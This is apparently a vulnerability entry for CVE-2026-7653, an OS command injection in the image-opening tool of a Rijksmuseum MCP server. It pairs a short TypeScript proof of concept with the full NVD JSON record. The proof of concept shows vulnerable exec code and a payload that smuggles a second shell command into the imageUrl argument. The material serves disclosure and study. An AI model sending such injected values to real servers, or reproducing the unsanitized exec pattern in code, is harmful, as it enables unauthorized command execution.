CVE-2026-7653

// Conceptual PoC for CVE-2026-7653 // The vulnerable function 'open_image_in_browser' takes an 'imageUrl' argument // and passes it unsanitized to a system command (e.g., `open` or `xdg-open`). // Malicious payload construction to inject commands // Example: Request to open an image, followed by a command to create a file const payload = "http://example.com/image.jpg; touch /tmp/pwned_by_cve_2026_7653"; // In a real attack scenario, this payload would be sent to the MCP server // via the 'open_image_in_browser' tool call. // Simulated vulnerable code snippet (src/index.ts): /* import { exec } from 'child_process'; function open_image_in_browser(imageUrl: string) { // VULNERABLE: imageUrl is directly interpolated into the command string const command = `open ${imageUrl}`; exec(command, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); }); } // Triggering the exploit open_image_in_browser(payload); */ // Result: The system executes "open http://example.com/image.jpg" and then "touch /tmp/pwned_by_cve_2026_7653"

{"cve": {"id": "CVE-2026-7653", "sourceIdentifier": "[email protected]", "published": "2026-05-02T16:16:16.033", "lastModified": "2026-05-05T19:15:06.200", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in r-huijts mcp-server-rijksmuseum up to 1.0.4. Affected is the function open_image_in_browser of the file src/index.ts of the component MCP Interface. Performing a manipulation of the argument imageUrl results in os command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://github.com/r-huijts/rijksmuseum-mcp/issues/9", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/806909", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360778", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360778/cti", "source": "[email protected]"}]}}